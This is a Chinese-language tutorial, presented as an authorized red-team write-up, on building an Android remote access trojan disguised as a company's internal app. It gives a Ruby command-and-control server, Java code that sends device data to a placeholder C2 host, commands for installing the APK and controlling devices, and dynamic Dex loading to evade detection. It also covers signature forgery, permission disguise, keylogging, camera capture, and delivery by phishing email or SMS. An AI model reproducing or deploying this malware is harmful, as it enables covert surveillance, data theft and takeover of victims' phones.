一、从一次渗透测试说起
在一次授权的红队评估中,我们接到了一个有趣的任务——目标是一家互联网公司,核心成员都在使用Android设备,日常通过公司开发的内部App和其他员工及领导沟通交流。任务要求我们模拟黑客的行为,尝试获取数据和控制权。
在这次渗透中,常见的邮件钓鱼和水坑攻击并未成功,因为目标人员的安全意识相对较高。然而,他们忽略了一点:Android设备的防御相对较弱,许多员工在安装App时对权限审核不够严格。这为我们提供了一个绝佳的切入点——开发一个Android RAT(远程访问木马),伪装成正常App进行投放,最终通过它实现对目标设备的控制。
接下来,将完整展示Android RAT的开发过程。本文仅供授权渗透测试和安全研究使用,滥用技术可能违法,请务必遵守法律和道德底线。

---
二、技术选型与原理剖析
在开发Android RAT时,选择合适的技术栈和策略至关重要。这不仅影响到木马的功能,还直接决定了能否成功绕过目标设备上的安全防护措施。
1. Android RAT的核心功能
一个真正实用的Android RAT需要具备以下几项功能:
- 远程命令执行:攻击者能够在目标设备上运行自定义命令。
- 文件管理:上传、下载、删除文件。
- 屏幕捕获:实时获取受害者设备的屏幕内容。
- 摄像头控制:拍摄前/后置摄像头的画面。
- 键盘记录:捕获受害者的输入。
- 隐匿运行:伪装成正常的应用,避免被用户发现。
2. 技术栈选择
- 编程语言:使用Ruby进行服务器端C2(Command and Control)开发,利用Shell和Java构建Android客户端。
- 通信方式:基于HTTP协议进行C2通信,配合AES加密确保数据隐秘性。
- 权限需求:AndroidManifest中需要申请高风险权限,如摄像头、存储、录音等。
3. 绕过防护的关键
- 签名伪造:伪造知名应用的签名以降低目标用户的警惕性。
- 权限伪装:避免直接暴露高风险权限,延迟申请,伪装成合法用途。
- 动态加载代码:通过动态加载Dex文件的方式执行恶意功能,绕过部分静态分析。
---
三、环境搭建:从零开始构建实验场景
要开发并测试Android RAT,首先需要搭建一个实验环境。以下是详细步骤:
1. 准备开发工具
- 操作系统:Ubuntu 22.04或macOS
- Android Studio:用于编写和打包Android客户端。
- Ruby环境:用于编写C2服务器代码。
- adb工具:用于与Android设备交互。
- 虚拟机/真实设备:建议使用Genymotion虚拟机或闲置的Android手机。
<pre><code class="language-bash"># 安装必要环境 sudo apt update && sudo apt install -y openjdk-11-jdk ruby git adb gem install sinatra thin</code></pre>

2. 创建C2服务器
C2服务器是Android RAT的核心,它需要接收来自目标设备的数据,并发送控制指令。
<pre><code class="language-ruby">require 'sinatra' require 'json'
AES加密密钥
KEY = "YOUR_SECRET_KEY"
存储受感染设备的数据
INFECTED_DEVICES = {}
接收设备注册请求
post '/register' do data = JSON.parse(request.body.read) device_id = data['device_id'] INFECTED_DEVICES[device_id] = data "Device Registered: #{device_id}" end
接收设备上报的数据
post '/data' do data = JSON.parse(request.body.read) puts "Data from #{data['device_id']}: #{data['info']}" "Data Received" end
发送控制命令
get '/command/:device_id' do device_id = params['device_id']
根据业务逻辑生成命令,比如抓取摄像头照片
{ command: 'TAKE_PICTURE' }.to_json end</code></pre>
运行该C2服务器: <pre><code class="language-bash">ruby c2_server.rb</code></pre>
3. 制作恶意apk
在Android Studio中创建一个空白项目,将以下代码嵌入到MainActivity中:
<pre><code class="language-java">// 简单反向连接payload示例 new Thread(() -> { try { URL url = new URL("http://<C2_SERVER_IP>:4567/register"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/json");
JSONObject json = new JSONObject(); json.put("device_id", Build.SERIAL); json.put("info", "Device Registered");
OutputStream os = conn.getOutputStream(); os.write(json.toString().getBytes()); os.close();
conn.getResponseCode(); } catch (Exception e) { e.printStackTrace(); } }).start();</code></pre>
将恶意apk打包后,使用adb安装到测试设备上: <pre><code class="language-bash">adb install RAT.apk</code></pre>
---
四、实战:从投放到控制目标
在制作好Android RAT之后,接下来需要设法将它部署到目标设备。
1. 社工诱导
伪装成目标用户感兴趣的App,比如公司内部的工具软件,将RAT隐藏其中,并通过邮件附件、短信链接等方式投递。

2. 测试控制功能
当目标设备安装并运行恶意App后,可以通过C2服务器查看设备是否成功上线: <pre><code class="language-bash">curl http://<C2_SERVER_IP>:4567/devices</code></pre>
获取设备上线后,可以尝试发送指令,比如启动摄像头: <pre><code class="language-bash">curl http://<C2_SERVER_IP>:4567/command/<DEVICE_ID></code></pre>

---
五、免杀与隐匿技巧
在实际渗透中,RAT的隐匿性和免杀能力直接影响到攻击的成败。以下是一些实用技巧:
1. 动态加载Dex文件
将恶意代码封装到独立的Dex文件中,运行时动态加载,避免在静态分析中暴露。
<pre><code class="language-java">DexClassLoader loader = new DexClassLoader("/sdcard/payload.dex", getCodeCacheDir().getAbsolutePath(), null, getClassLoader()); Class<?> clazz = loader.loadClass("com.example.Payload"); Method method = clazz.getMethod("execute"); method.invoke(null);</code></pre>
---
六、总结与反思
从技术角度来看,Android RAT的开发并不复杂,核心难点在于隐匿性和投放策略。但从道德层面,开发此类工具需要十分谨慎,滥用可能带来严重后果。在合法授权的前提下,研究这些技术是为了更好地防御,而非伤害他人。